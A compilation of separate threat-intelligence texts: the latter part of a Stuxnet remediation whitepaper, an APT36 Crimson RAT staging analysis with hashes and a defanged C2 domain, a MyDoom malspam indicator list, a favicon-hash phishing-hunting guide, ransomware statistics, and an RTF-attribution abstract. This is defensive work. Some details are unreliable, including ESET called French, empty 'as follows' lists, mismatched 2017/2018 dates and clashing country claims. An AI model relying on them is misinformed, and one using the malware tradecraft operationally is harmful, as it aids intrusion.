**Note:** If your PCS7 control system has been compromised by Stuxnet, it is not enough to clean out the compromised machines or rebuild those machines from scratch. Anyone cleaning out a compromised control system must also examine all S7 PLCs in the control system from an uncompromised computer and determine whether there are any illegitimate function blocks in the PLC.
## 9. Geographic Distribution
On July 15, Kaspersky Labs, the Russian anti-virus vendor, reported over 5,000 compromised machines with a geographic distribution as follows:
On July 16, the Microsoft Protection Center reported detecting and rejecting infection attempts at some 1,000 machines per day. Less than 0.02% of all machines globally, which Microsoft monitors, report infection attempts daily. Microsoft reports a significant rate of infection attempts in the USA, but when you normalize the infection attempts by the number of monitored machines in each geography, Microsoft reports infection attempts as follows:
On July 17, ESET, the French anti-virus vendor reported infections distributed geographically as follows:
- United States 57.71%
- Iran 30.00%
- Russia 4.09%
- Indonesia 3.04%
- Faroe Islands 1.22%
- United Kingdom 0.77%
- Turkey 0.49%
- Spain 0.44%
- India 0.29%
- Rest of the world 1.73%
ESET published only these percentages, not a total count of infected machines.
On July 22, Symantec reported over 14,000 distinct IP addresses harvested from the benign IP addresses which were substituted for the real C&C servers. The geographic distribution of those addresses was as follows:
On July 23, Kaspersky Labs reported over 45,000 infected machines, with about 1,000 new machines being infected per day. These reports do not agree particularly well. It may be that some of the reported “infection” data was in fact “infection attempt” data. It may also be that some of the anti-virus vendors have limited installed bases in some geographies, thus skewing their statistics. To the extent that they agree, it is clear that the most-impacted countries are India, Indonesia, and Iran. There is disagreement as to what extent computers in the USA were affected.
## 10. Remediations
Whenever the Stuxnet worm is discussed, the question “What can I do about it?” arises. For end users on home computers, the answer is simple:
- Don't worry about Stuxnet – there are so few infections in the world you are unlikely to encounter one.
- Do worry about other more widespread malware taking advantage of the LNK and PIF vulnerabilities. Make sure you have an anti-virus system installed. All credible anti-virus vendors now have signatures for the LNK and PIF vulnerabilities and many have signatures for the Stuxnet worm.
- A Microsoft patch for the LNK and PIF vulnerabilities has been available since August 2; install the patch and you should be well-protected.
For corporate networks, the answer is similar, though it may take corporate IT teams a little longer to test and distribute the Microsoft patch.
For sites running industrial control systems, the question is quite a bit more involved. What you should do depends very much on how vulnerable your control systems are, how stringent your safety and availability requirements are, and what your existing security program looks like.
There is an incredible variety among control system security postures. Some systems are more or less managed like corporate IT systems – well patched, protected by anti-virus and other modern protections, with signatures updated regularly. Such systems will be protected as soon as the new anti-virus signatures make it through their site's change control processes. Other sites are running old versions of operating systems without anti-virus and cannot patch those systems due to the risk of causing a malfunction, or because the sites will breach the terms of their vendor support contracts. Still others run anti-virus on their older systems but do not update the signatures because they do not have a change control process in place capable of testing new signatures enough to ensure continued correct operation of the control system with new signatures in place.
Some control systems have very stringent safety and availability requirements – think nuclear sites, refineries, and electric power systems. If things go catastrophically wrong at one of these sites there are significant impacts on the public at large. Such sites have very tight change control systems. Every change, however small, must be evaluated as to the risk the change poses to the correct operation of the physical process. Yes, the overall control system has many layers of redundant safety systems, and the HMI is only one of these layers, but nobody should use that as a reason to be complacent about changes to the HMI workstations.
And finally, different sites have different degrees of security programs. Some sites have programs which are well thought through, comprehensive, regularly assessed for compliance to the site security policy, and reviewed and updated as the threat environment or available security approaches change. Other sites may have much less well thought-through programs, and unfortunately, there are still some industries where control system security is still very much an afterthought, especially smaller sites.
The short story as to what industrial sites should do in light of the Stuxnet threat is easy: re-evaluate your security posture in light of this new threat. If a site does not have the expertise in-house to do this, they will need to bring in a qualified outside party. Depending on the existing security posture, sites should expect the re-evaluation to result in recommendations ranging from “don't worry, you're good already” to “you need significant improvements to your security program.” Industry experts are nearly unanimous in agreeing that the right security posture for industrial sites is a “defense-in-depth” posture, with layers of defenses including policies, procedures, training, physical security, computer security, personnel screening, and many other elements. A detailed description of a defense-in-depth security program is beyond the scope of this report. Interested readers are referred to any of:
- NIST 800-82: Guide to Industrial Control Systems (ICS) Security
- ISA SP-99 Security for Industrial Automation and Control Systems – Part 1: Terminology, Concepts and Models
- Department of Homeland Security: Catalog of Control Systems Security: Recommendations for Standards Developers
In the course of re-evaluating their security posture, industrial sites may wish to consider the following remediations. Note that while the focus of this report has been the Stuxnet worm and some of the remediations below are specific to the worm, sites should consider that the worm is only one example – the first example – of an advanced threat to control systems. Industrial sites are at risk from all kinds of malware, not only Stuxnet. Even if most other kinds of malware do not target control systems specifically, such systems will still be affected by any malware which takes over a machine, affected in ways that are difficult to predict. If a site is poorly protected against run-of-the-mill malware, the site should strengthen those protections, as well as considering specific protections against the Stuxnet worm.
The following sections discuss specific remediation options.
### 10.1: Microsoft Patches
Microsoft released a patch for the MS08-067 RPC vulnerability in 2008 and made the patch available for all then-supported operating systems platforms. Microsoft released a patch for the MS10-046 LNK and PIF vulnerabilities on August 2, 2010. Only newer versions of Windows operating systems are supported by the patch. In particular, the Windows 2000 and Windows XP SP2 versions of the operating system used heavily in industrial control systems are not supported. In addition, many control systems have no effective patch program or are constrained in what patches they can apply by support contracts with their control system vendors.
Sites which can apply these patches should expect to be protected against any exploit of the RPC, LNK, and PIF vulnerabilities by the patch. A strong patch program generally should protect a site against much malware. Exceptions to the protections patches offer include zero-day threats, insider attacks, and threats like trojans which persuade authorized users to download and run them.
### 10.2: Microsoft Tool to Disable Display of File Shortcuts
Microsoft has released a tool which disables the display of file shortcuts, thus preventing the exploit of the LNK and PIF file vulnerability. Users who have tried the tool are unanimous in their rejection of it – the tool makes Windows operating systems extremely difficult to use.
### 10.3: Siemens / TrendMicro Remediation Tool
Siemens has published instructions on how to use the TrendMicro “Sysclean” tool to remove the Stuxnet worm from compromised systems. Note: Siemens recommends that users contact their specific support organizations before using the remediation tool. Control systems generally, PCS 7 included, tend to be highly customized. Siemens, like most responsible control systems vendors, cannot recommend that any specific change be made safely to a highly customized control system. It is only the technical people familiar with a particular customization who have the test bed and procedures to test if it is safe to apply the Siemens tool on a particular control system.
Use of the remediation tool does not protect a site from compromise by the Stuxnet worm. The tool is designed to remove the worm from a compromised machine. There are no reports yet as to the effectiveness of the tool.
### 10.4: Siemens Update
Siemens has issued an update to their WinCC software which:
- Modifies registry settings according to the Microsoft security advisory for the LNK and PIF vulnerabilities, and
- Tightens up SQLServer security settings, especially for client authentication.
**Note:** Applying this Siemens update will disable viewing of file shortcut icons just as the Microsoft tool does. This may make control system user interfaces on affected machines much harder to use.
### 10.5: Third Party LNK Vulnerability Avoidance Tools
Sophos and Surfright have released tools to prevent exploitation of the vulnerability without disabling most Windows icons. Feedback on the Sophos tool is that it protects against LNK exploits only when both the shortcut file and the file target are on external media. Neither tool protects against the PIF vulnerability.
### 10.6: Anti-Virus Tools
Control systems with anti-virus products installed and virus signatures current should already be protected against malicious shortcut files and the Stuxnet worm. Sites with anti-virus products installed but without current signatures should have a comparatively easy time of acquiring some degree of protection. New signatures need to be run through the change control system, reviewed, tested, and applied.
Sites with existing control systems lacking installed anti-virus products may not find anti-virus technology to be their best option to retrofit protection. Sites must first determine if their vendors recommend or support running their versions of control systems with anti-virus products. If the vendors support the products, the sites will need to apply a reasonably rigorous testing process to ensure that the operation of the anti-virus products does not impair the operation of their production control systems. Indiscriminate application of anti-virus products to existing control systems has historically resulted in component malfunctions and control systems failures.
Anti-virus tools will protect against Stuxnet and other known threats and vulnerabilities. However, anti-virus vendors generally do not produce signatures for a threat until between five hundred and five thousand instances of the threat are observed worldwide. Further, anti-virus vendors can only produce signatures for known threats. Thus, anti-virus tools provide good general protection but cannot protect against previously unknown or low-volume threats such as attacks targeted at a specific site.
### 10.7: Whitelisting / Host Intrusion Prevention Systems
Whitelisting or host intrusion prevention system (HIPS) products calculate a cryptographic hash for all approved executables in the filesystem on a machine. Whenever the operating system tries to load an executable file, including DLL libraries and other kinds of executables, the hash is recalculated and compared to the list of approved hashes. If there is no entry for the hash, it means the file being loaded is either not approved to execute or has been tampered with. HIPS systems are generally configured either to issue a warning in this case and continue execution or to block execution of the unauthorized software.
HIPS products are comparatively new technologies and a good fit for control systems. The products themselves change very slowly, unlike anti-virus systems which issue new signatures as often as several times per day. As a result, HIPS products put less of a change management burden on industrial sites. Further, HIPS products protect against even low-volume and zero-day attacks because malware software is never on the approved list of cryptographic hashes for a protected machine.
For example: Industrial Defender labs have tested the Industrial Defender HIPS product with a live copy of the Stuxnet worm and confirmed that the HIPS product prevented compromise of the protected machine. The HIPS system simply reports blocking the execution of the file “~wtr4132.tmp” every time a Windows Explorer renders icons on a compromised USB stick.
HIPS products have been criticized in enterprise applications because of the extra work required to keep the approved application list current as new patches and new software are frequently installed. This concern does not apply to most control systems. HIPS products check executables when they are loaded from disk and not all threats come from disk – threats may come from networks with buffer overflow attacks for example. HIPS products deal with such threats in part by observing that most network-based malware uses the network shell code only to pull much larger executable files onto the machine and execute them. Execution of this second stage of the malware is then blocked by the HIPS. Further, most HIPS products have one form or another of memory protection, either periodically or in real-time scanning memory for suspicious executables that did not come from disk.
Retrofitting HIPS protections onto an existing control system should be done cautiously, within the confines of a strong change control program. However, customers will likely find the slow pace of change of HIPS products to be a better fit for existing control systems than would be an anti-virus system retrofit on to those systems.
### 10.8: Host Intrusion Detection Systems
If a control system has host intrusion detection systems (HIDS) installed, those systems should be sufficient to alert the site to a compromise by the Stuxnet worm. Industrial sites may use HIDS as part of a defense-in-depth strategy to find out whether anything got past their other protections, or they might use HIDS on very sensitive equipment where more intrusive HIPS or anti-virus products are considered a poor fit.
Industrial Defender tested our own HIDS agents with a live Stuxnet worm and saw a burst of some 20 alerts describing unexpected changes to the control system host. The most obvious indication of Stuxnet compromise were the alerts reporting new mrxnet.sys and mrxcls.sys drivers in the system32/drivers folder, as well as the alerts reporting the creation of two new services.
HIDS products come in many shapes and sizes. Some install agents on the monitored hosts and others monitor hosts remotely. The former tend to be more powerful since Windows facilities for remote monitoring are not as feature-rich as the on-host Windows programming environment. Further, some agents are designed to be non-intrusive, strictly throttling resource usage and running entirely in user space, while others are more profligate of machine resources and come with new kernel drivers and introduce new execution paths to all monitored software. Retrofitting HIDS onto an existing control system may be easier with remote monitoring since even though the remote monitoring does introduce new execution paths into software on the control system host, those new paths may not be as significant as new paths introduced by host agents.
In terms of effectiveness, most modern HIDS systems should be powerful enough to detect but not prevent compromise by Stuxnet.
### 10.9: Disabling USB Keys
Many HIPS products include options to entirely disable the use of removable storage, such as USB flash sticks. Whether or not they use such technology, sites should strongly consider a policy forbidding the use of removable storage on production control system components. There is too much malware which propagates via removable storage and this makes it too easy for errors and omissions to change software on production hosts in violation of change management policies.
**Note:** While controlling the use of USB sticks is good policy for many kinds of control systems, it will not work for some systems, such as some kinds of Siemens S7 systems. USB sticks are the only supported way to move certain kinds of information into some kinds of S7 PLCs.
### 10.10: Strict Firewall Egress Filtering
Egress filtering is the filtering of outbound connections from a more trusted to a less trusted network. Such filtering is useful against Stuxnet and in fact against many kinds of malware because the most powerful modern malware tends to work closely with instructions from a command and control (C&C) server. In order to contact the server, the malware must connect to an IP address on the open internet from the trusted network. If the firewall prohibits connections to random IP addresses from the trusted network, the malware does compromise the machine but cannot receive new instructions or software updates from the C&C server. Further, if the firewall logs such communications attempts and site personnel review the logs, those personnel will be alerted to suspicious communications attempts from trusted IP addresses and can investigate those hosts for possible compromise.
Egress filtering does not prevent compromise by Stuxnet or by any malware. Egress filtering prevents malware on compromised machines from doing any more than their hard-coded instructions. Malware without contact with a C&C server cannot start doing more things or worse things to your control system than was originally programmed in the malware. Monitoring egress filtering logs provides a kind of intrusion detection as well, which can be one layer in a defense-in-depth posture.
### 10.11: Other Topics
There are many aspects to a strong security program. Sites re-evaluating their security posture generally, rather than specifically for this one kind of threat, may want to consider in addition measures like the following:
- Keeping a site compliant with a mature security program can add up to enough effort to keep one or more full-time security personnel busy. Consider managing or reducing those costs with a compliance management system. Such systems help a site reduce costs while still keeping their security posture strong.
- Develop, document, and test a strong incident response plan. Even some of the best-protected sites will be compromised from time to time. When a site is compromised, it is important to respond quickly and correctly. Such response is only possible if it has been thought through and practiced in advance.
- Consider strong protections for control systems hosts – host hardening, patch programs, and regular vulnerability assessments.
- Consider strengthening physical security and personnel security measures at industrial sites. The authors of this malware have been refining it for some time.
- Outsource the most complex or the most time-consuming security functions to experts focused on industrial security. This lets a site's personnel remain focused on the challenging skill-set which is continued correct operation of the control system while still supporting a strong security posture.
- And in the long term, work with control systems vendors to make clear to them what security measures will be expected in all new control systems products.
## 11. Conclusions
The Stuxnet worm is very unusual. It is a sophisticated piece of malware that clearly targets industrial control systems in a way that no other malware before it has. The ability of the worm to intercept, change, and hide PLC programs is of great concern, as such changes undetected could easily disrupt important civilian infrastructure. The best defense against threats of this type is a strong industrial security program, which includes a defense-in-depth security posture.
The “Remediations” section of this whitepaper describes steps you can take to protect control systems from malware like Stuxnet. Note that for the Stuxnet worm in particular:
- Patches and the various LNK vulnerability exploit prevention tools will prevent Stuxnet infections now, but these remediations did not exist when Stuxnet began circulating.
- Anti-virus tools will prevent Stuxnet infections now, but had no effect when the worm began circulating because signatures for the worm and for the LNK vulnerability had not yet been developed and circulated.
- Host Intrusion Detection Systems would have detected and diagnosed compromise by the Stuxnet worm but would not have prevented compromise.
- Disabling USB keys would have prevented infection by Stuxnet, but this measure is not practical on most Siemens S7 systems because of the need to use USB keys to exchange certain information with S7 PLCs.
- Firewalls, one-way diodes, and other perimeter protections would not have prevented Stuxnet infections because the worm propagated primarily via USB keys carried past firewalls by trusted personnel. Strict firewall outbound connection/egress filtering controls would not have prevented compromise by Stuxnet but would have prevented the worm from receiving new instructions from the command and control servers.
Host Intrusion Prevention Systems would have prevented compromise because the Stuxnet worm would not have been recognized as an approved and authorized executable, in spite of its signature by a well-known hardware manufacturer. All control system security practitioners should become familiar with this new technology as quickly as is feasible.
Industrial Defender provides many of the technologies and services described in the “Remediations” section of this report, in an easy-to-use, integrated solution designed specifically for industrial control systems. More information on Industrial Defender solutions, including the Industrial Defender HIPS, is available at the Industrial Defender website. Customers with industrial sites should never hesitate to call upon Industrial Defender to understand how we might help to improve a security program, now or in the future. |
# A Look into APT36's (Transparent Tribe) Tradecraft
APT36 (a.k.a Transparent Tribe / Mythic Leopard / PROJECTM / TEMP) is a prominent group believed to be operating on behalf of the Pakistan state and conducting espionage with great interests in a very specific set of countries, especially India, widely since 2013.
Most frequent target sectors include:
- Military organizations
- Government entities
Cyberstanc's very own threat research team has been tracking APT36's activities, and we would like to provide you an insight into their tradecraft, especially their main malware dubbed "Crimson RAT."
## Analysis
We won't be laying emphasis on individual samples; rather, we will be randomly covering samples and variants to provide better insights.
### Payload Delivery
Transparent Tribe employs a multitude of tactics from the old books of espionage, for example, honey-trapping army personnel. However, frequent payload delivery methods usually consist of the following:
- Malicious Documents / Excel sheets
- Compressed archived files
- Waterholing attack
Basic static analysis consists of examining the sample without viewing the actual instructions. It can confirm whether a file is malicious, provide information about its functionality, and sometimes provide information that will allow you to produce simple network signatures.
**Filename:** Kashmir_conflict_actions.docx
**File Type:** MS Word Document
**File Size:** 300.00 KB (300000 bytes)
#### Stage 1 (Macro Enabled Document Dropper)
Kashmir_conflict_actions.docx contains a macro that makes a remote SQL query to the C2 server (Datroapp[.]mssql.somee.com) and writes the second stage payload to "\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trayicos.exe" and launches the payload.
#### Stage 2 (Dropper)
**Filename:** TrayIcos.exe
**File Type:** PE32 executable for MS Windows (GUI) Intel 80386 32-bit
**File Size:** 2.4 MB (2519552 bytes)
**MD5:** 18ACD5EBED316061F885F54F82F00017
**Signature:** Microsoft Visual C++ 8
Initial looks at the PE file indicate it is a payload loader, especially looking at the resource section of the file where we can see a data blob with a larger size than usual and an exceptionally high entropy value.
Further analysis indicates the same with an import chain of:
FindResource -> LoadResource -> LockResource -> SizeofResource -> FreeResource
We can clearly conclude the encrypted data block located in the resource section is the third stage payload. After some dynamic analysis, we are able to decrypt the third stage payload. Once the third stage payload is decrypted, it is revealed as a .NET assembly and is loaded in the memory space of the same unmanaged process "TrayIcos.exe."
#### Stage 3 (Third Stage Dropper)
**Filename:** Random.dll
**File Type:** C# dynamic link library / .Net Assembly
**File Size:** 2.3 MB (2441216 bytes)
**MD5:** 4A22A43CCAB88B1CA50FA183E6FFB6FA
**Signature:** Microsoft Visual C# v7.0 / Basic .NET
We get an unpacked / obfuscated C# assembly which we dumped during the dynamic analysis of the second stage dropper. The functionality of the dropper is straightforward: it retrieves the payload from the resource and then executes the entry point of the payload.
#### Stage 4 (Crimson RAT)
Final stage includes execution of the Crimson Remote Access Trojan.
**Filename:** TrayIcos.exe
**File Type:** PE32 executable for MS Windows (GUI) Intel 80386 32-bit, Mono/.Net assembly
**File Size:** 2.2 MB (2295808 bytes)
**MD5:** 5A27D092E4A87554206F677B4EADC6F5
**Signature:** Microsoft Visual C# v7.0 / Basic .NET
**Packer:** .Net Reactor
Crimson RAT supports basic functionalities a remote access trojan should have, like screen capture, screen size enumeration, command execution, process list, process kill, etc. However, the functionalities differ from variant to variant and are stripped in many samples. The complete list of all functionalities supported by the framework is as follows:
**Functionalities:**
- Command parser and functionalities of Crimson RAT
Persistence mechanism is the least notable and extremely basic in nature:
- HKCU Run key persistence
C2 communication is implemented using a simple TCP protocol with no added encryption/encoding, which is highly disappointing.
## Verdict
Overall, Transparent Tribe's tradecraft might seem lackluster, but since their inception in 2013, they have been quite successful according to statistics in executing their plans and conducting espionage campaigns on a daily basis. However, our customers are protected against this threat. Additionally, Scrutiny Anti Malware properly files used by Transparent Tribe as malicious. |
# MALSPAM PUSHING THE MYDOOM WORM IS STILL A THING
## ASSOCIATED FILES:
- **Malspam examples:** 2018-12-17-thru-2018-12-20-MyDoom-malspam-5-email-examples.zip (108 kB)
- 2018-12-17-malspam-0334-UTC.eml (32,517 bytes)
- 2018-12-17-malspam-2019-UTC.eml (30,838 bytes)
- 2018-12-18-malspam-1922-UTC.eml (31,456 bytes)
- 2018-12-19-malspam-1454-UTC.eml (31,030 bytes)
- 2018-12-20-malspam-0405-UTC.eml (31,444 bytes)
- **Pcap of the infection traffic:** 2018-12-19-MyDoom-infection-traffic.pcap.zip (205 kB)
- 2018-12-19-MyDoom-infection-traffic.pcap (362,046 bytes)
- **Associated malware:** 2018-12-17-thru-2018-12-19-MyDoom-zip-attachments-and-extracted-EXE-files.zip (213 kB)
- 17c7b0ccdf73b05a070443659715c9ae136aeda89f931e05cc80a8a05fbfea85.exe (22,020 bytes)
- 2ccf2b595b2c85fc17dafdf7ec3e0133b897ca2eb84da62189af023c2dc8a430.exe (22,020 bytes)
- 3335c2a089421bd1c19cff225d04f0c3d1f9192a41cd257ad93e608199b4d849.zip (22,140 bytes)
- 442c89956a623c10ea5e525dc85d8f8827c973569640ca266cab0a0f6aba0070.zip (23,060 bytes)
- 57b58feb49bd6de828371fc52c0e300a37cc7365720e1f961265f47fa5abeea8.zip (22,376 bytes)
- 78acb6f8d713e20f17f4bf6ca20e919845dfa1d8252487aa37958062b4fd146e.zip (21,966 bytes)
- 868289da1cf8aba7c2e9c38028accdfd989ef59cde9fc733543dff9fc4ce5826.exe (22,752 bytes)
- ab870f7f11ab105d92f2a29e8581992ae506bbc9e19e9c71e873b0c54639d8ad.exe (22,020 bytes)
- e3e809cd45c807ac832535a338003248739fa09ff9bcfa12a0acb7b1217e80f6.zip (22,140 bytes)
- ee004696baa06ae797449ac5dff683ddd3373d9fe38a2cf69c174fbd873673e8.exe (21,508 bytes)
## NOTES:
MyDoom worm was big in 2004, and it's been propagating around ever since. Some details can be found here. I still occasionally see these, and other people like @dvk01uk have also reported it's still active over the past year or two.
## EMAILS:
- **Date range:** 2018-12-17 03:34 UTC through 2018-12-20 04:05 UTC
- **Received:**
- from browsefox.com ([218.16.100.42])
- from yhglobal.com ([113.91.55.46])
- from adobee.com ([113.91.55.72])
- from mozilla.org ([95.56.208.123])
- from vanguardlogistics.com ([14.154.204.205])
- **Subjects:**
- Returned mail: Data format error
- File Delivery failed
- File Returned mail: see transcript for details
- File RETURNED MAIL: SEE TRANSCRIPT FOR DETAILS
- **From:**
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- [email protected]
- **Attachment names:**
- .zip
- message.zip
- document.zip
## TRAFFIC
**TRAFFIC FROM AN INFECTED WINDOWS HOST:**
- Various IP addresses over TCP port 1042 - attempted connections (SYN packets only)
- Various mail servers over TCP port 25 - SMTP and attempted SMTP traffic
## MALWARE
### FROM 2017-12-17 03:34 EMAIL:
- **SHA256 hash:** 442c89956a623c10ea5e525dc85d8f8827c973569640ca266cab0a0f6aba0070
- **File size:** 23,060 bytes
- **File name:** .zip
- **File description:** File attachment (zip archive) from malspam on 2018-12-17 03:34 UTC
- **SHA256 hash:** 868289da1cf8aba7c2e9c38028accdfd989ef59cde9fc733543dff9fc4ce5826
- **File size:** 22,752 bytes
- **File name:** .txt [97 spaces in middle of file name] .pif
- **File description:** Windows executable file - MyDoom worm (Modified date: Dec 2004)
### FROM 2017-12-17 20:19 EMAIL:
- **SHA256 hash:** 3335c2a089421bd1c19cff225d04f0c3d1f9192a41cd257ad93e608199b4d849
- **File size:** 22,140 bytes
- **File name:** message.zip
- **File description:** File attachment (zip archive) from malspam on 2018-12-17 20:19 UTC
- **SHA256 hash:** ab870f7f11ab105d92f2a29e8581992ae506bbc9e19e9c71e873b0c54639d8ad
- **File size:** 22,020 bytes
- **File name:** message.bat
- **File description:** Windows executable file - MyDoom worm (Modified date: Dec 2004)
### FROM 2017-12-18 19:22 EMAIL:
- **SHA256 hash:** 57b58feb49bd6de828371fc52c0e300a37cc7365720e1f961265f47fa5abeea8
- **File size:** 22,376 bytes
- **File name:** .zip
- **File description:** File attachment (zip archive) from malspam on 2018-12-18 19:22 UTC
- **SHA256 hash:** 2ccf2b595b2c85fc17dafdf7ec3e0133b897ca2eb84da62189af023c2dc8a430
- **File size:** 22,020 bytes
- **File name:** .htm [121 spaces in middle of file name] .scr
- **File description:** Windows executable file - MyDoom worm (Modified date: Dec 2004)
### FROM 2017-12-19 14:54 EMAIL:
- **SHA256 hash:** e3e809cd45c807ac832535a338003248739fa09ff9bcfa12a0acb7b1217e80f6
- **File size:** 22,140 bytes
- **File name:** message.zip
- **File description:** File attachment (zip archive) from malspam on 2018-12-19 14:54 UTC
- **SHA256 hash:** 17c7b0ccdf73b05a070443659715c9ae136aeda89f931e05cc80a8a05fbfea85
- **File size:** 22,020 bytes
- **File name:** message.exe
- **File description:** Windows executable file - MyDoom worm (Modified date: Dec 2004)
### FROM 2017-12-20 04:05 EMAIL:
- **SHA256 hash:** 78acb6f8d713e20f17f4bf6ca20e919845dfa1d8252487aa37958062b4fd146e
- **File size:** 21,966 bytes
- **File name:** document.zip
- **File description:** File attachment (zip archive) from malspam on 2018-12-20 04:05 UTC
- **SHA256 hash:** ee004696baa06ae797449ac5dff683ddd3373d9fe38a2cf69c174fbd873673e8
- **File size:** 21,508 bytes
- **File name:** document.htm [164 spaces in middle of file name] .exe
- **File description:** Windows executable file - MyDoom worm (Modified date: Dec 2004)
## FINAL NOTES
Once again, here are the associated files:
- **Malspam examples:** 2018-12-17-thru-2018-12-20-MyDoom-malspam-5-email-examples.zip (108 kB)
- **Pcap of the infection traffic:** 2018-12-19-MyDoom-infection-traffic.pcap.zip (205 kB)
- **Associated malware:** 2018-12-17-thru-2018-12-19-MyDoom-zip-attachments-and-extracted-EXE-files.zip (213 kB)
Zip archives are password-protected with the standard password. If you don't know it, look at the "about" page of this website. |
# Hunting Phishing Websites with Favicon Hashes
HTTP favicons are often used by bug bounty hunters and red teamers to discover vulnerable services in a target AS or IP range. It makes sense – since different tools (and sometimes even different versions of the same tool) use different favicons and services such as Shodan calculate MurmurHash values for all favicons they discover and let us search through them, it can be quite easy to find specific services and devices this way.
But while the use of favicon hashes is common in the “red” community, a significant number of blue teamers don’t use them at all. Which is unfortunate, given that – among their other uses – they can provide us with a simple way of identifying IPs hosting phishing kits. After all, this was the reason why searches using HTTP favicon hashes have been introduced into Shodan in the first place.
As an example, we will show how to detect IPs hosting phishing pages by looking for sites that try to pass themselves off as login portals for O365 and other Microsoft services; however, the same principle would work for any other service as well. One could therefore calculate hashes of unique favicons used by systems specific to a company one is trying to protect (e.g., favicon from a company website) and use periodic lookups of these on Shodan and other services in order to implement a – admittedly fairly simple – phishing detection/brand protection mechanism.
So how would one look for fake Microsoft login portals? First, we need to calculate a MurmurHash value of a favicon that we expect might be reused on a phishing website to make it look more trustworthy. Looking at official Microsoft websites, it seems that they use the favicon located at `https://c.s-microsoft.com/favicon.ico`. Its hash can be easily calculated using Python code that may be found on GitHub:
```python
import requests, mmh3, base64
response = requests.get('https://c.s-microsoft.com/favicon.ico')
favicon = base64.encodebytes(response.content)
hash = mmh3.hash(favicon)
print(hash)
```
If we run this script, we will get the hash -2057558656. Now that we have a hash to look for, we can query Shodan to get the list of all IP addresses where it found a favicon with the same one. We may use the filter `http.favicon.hash` to do so.
As we can see, the number of results is quite high. This is hardly surprising though, given that they contain all servers – malicious as well as legitimate – where the favicon is used. In order to discover only the suspicious ones, we would need to further refine the search. One would do this differently for one’s own favicons, but in order to search for suspicious Microsoft login portals, we could extend our search to look only for IPs with web pages looking like login portals (`http.html:"Sign in"`) and that are not hosted on Microsoft infrastructure (`-org:"Microsoft Corporation" -org:"Microsoft Azure"`) but are running an Apache web server (`product:"Apache httpd"`). Taken together, our search might look like this:
```
http.favicon.hash:-2057558656 -org:"Microsoft Corporation" -org:"Microsoft Azure" product:"Apache httpd" http.html:"Sign in"
```
If we ran this updated search, the number of results would be significantly lower. Not all IPs identified in this way would necessarily turn out to host a phishing website, but most of them almost certainly would (or would at least turn out to have done so recently). In any case, all of them would unquestionably be worth investigating, and it probably wouldn’t take too long to discover something interesting.
As we’ve mentioned, the same approach can be used to identify phishing websites using any other favicon as well. Given how easy it is to implement automatic periodic lookups (for example against Shodan API) for a list of specific hashes (e.g., the ones that are used on our company login pages/in our products), favicons can provide a cheap and simple way to detect phishing sites targeting either one’s company or its customers. Even if one decided not to automate them, favicon hash lookups can still provide us with additional information useful, for example, for “long tail” threat hunting or enrichment of other data.
In any case, if you are on the “blue” side and don’t use favicon hashes in any way, consider whether they might not provide you with at least some value. |
# March 2023 Broke Ransomware Attack Records with 459 Incidents
March 2023 was the most prolific month recorded by cybersecurity analysts in recent years, measuring 459 attacks, an increase of 91% from the previous month and 62% compared to March 2022. According to NCC Group, which compiled a report based on statistics derived from its observations, the reason last month broke all ransomware attack records was CVE-2023-0669. This is a vulnerability in Fortra's GoAnywhere MFT secure file transfer tool that the Clop ransomware gang exploited as a zero-day to steal data from 130 companies within ten days.
March 2023 activity continues the upward trend observed by NCC Group since the start of the year (January and February), with the highest number of hack and data leak incidents recorded in the past three years.
## Activity Spikes
Clop performed 129 recorded attacks last month, topping NCC Group's graph with the most active ransomware gangs for the first time in its operational history. Clop's CVE-2023-0669 exploitation spree displaced LockBit 3.0, which had 97 recorded attacks, to second place for the second time since September 2021. Other ransomware groups that had relatively significant activity during March 2023 are Royal ransomware, BlackCat (ALPHV), Bianlian, Play, Blackbasta, Stormous, Medusa, and Ransomhouse.
This is not the first time Clop has performed a mass hack that propelled it to the top, as in early 2021, the ransomware group quickly amassed over 100 victims leveraging a zero-day vulnerability in Accellion's legacy File Transfer Appliance (FTA).
## Targeted Sectors
The most targeted sector in March 2023 was "Industrials," receiving 147 ransomware attacks, accounting for 32% of the recorded attacks. This sector includes professional and commercial services, machinery, tools, construction, engineering, aerospace & defense, logistics, transport services, and more.
In second place are "Consumer Cyclicals," encompassing construction supplies, specialty retailers, hotels, automobiles, media & publishing, household goods, etc. Other sectors that received significant attention from ransomware gangs are "Technology," "Healthcare," "Basic Materials," "Financials," and "Educational Services."
This month's three most active ransomware groups, namely Clop, LockBit, and Royal, primarily targeted companies within the "Industrials" sector. Clop and LockBit also directed a considerable amount of their efforts toward the "Technology" sector. While these may be the most targeted sectors, it is important to note that ransomware attacks are usually not targeted but rather opportunistic.
Regarding the location of last month's victims, almost half of all attacks (221) breached entities in North America, Europe followed with 126 episodes, and Asia came third with 59 ransomware attacks.
The recorded activity spike in March 2023 highlights the importance of applying security updates as soon as possible, mitigating potentially unknown security gaps like zero days by implementing additional measures and monitoring network traffic and logs for suspicious activity. |
# Attribution is in the Object: Using RTF Object Dimensions to Track APT Phishing Weaponizers
**Ghareeb Saad**
Anomali, UK
**Michael A. Raggi**
Proofpoint, USA
## Abstract
Typographers and font designers sometimes quip that the divine fingerprint of the artist exists in the spaces between the letters (‘God is in the Kerning’ – Matteo Bologna). They have also said ‘Nothing made by a human can avoid personal expression’ (Hrant Papazian). Anomali Labs has conducted an in-depth study of the unique object dimensions present in weaponized RTF exploits used in phishing attacks. Through this research, we have found that, like typographers, the developers of malicious RTF weaponizers leave behind a unique fingerprint on the malicious phishing attachments they create. This fingerprint can be found in the unique height and width of the malicious objects present in a phishing attachment. So, if God can be found in the kerning, we, as threat researchers, believe that attribution is in the object.
RTF files are among the most popular file formats used in phishing attacks today. Anomali Labs has tracked the unique object dimensions present in 22 RTF exploits for CVE-2018-8570, CVE-2018-0802, CVE-2017-11882, CVE-2017-0199, CVE-2014-1761, and CVE-2012-0158 to gain insight into the adversary’s weaponization process. By identifying the height and width of malicious RTF objects and creating YARA signatures to track them, analysts have identified APT campaigns related to three distinct Chinese APT groups (Temp.Periscope, Temp.Trident, and Goblin Panda), one South Asian APT (Sidewinder), and the cybercriminal campaigns of a known Pakistani APT group (Gorgon Group/Subaat). This paper will cover basic RTF object metadata structure, how this data, when unique, can be used to track threat actors, and an in-depth case study of Chinese and Indian APTs utilizing a shared RTF phishing weaponizer to carry out diverse espionage campaigns across Asia and Central Europe.
## Exploit Supply Chain & the Need for Weaponizer Attribution
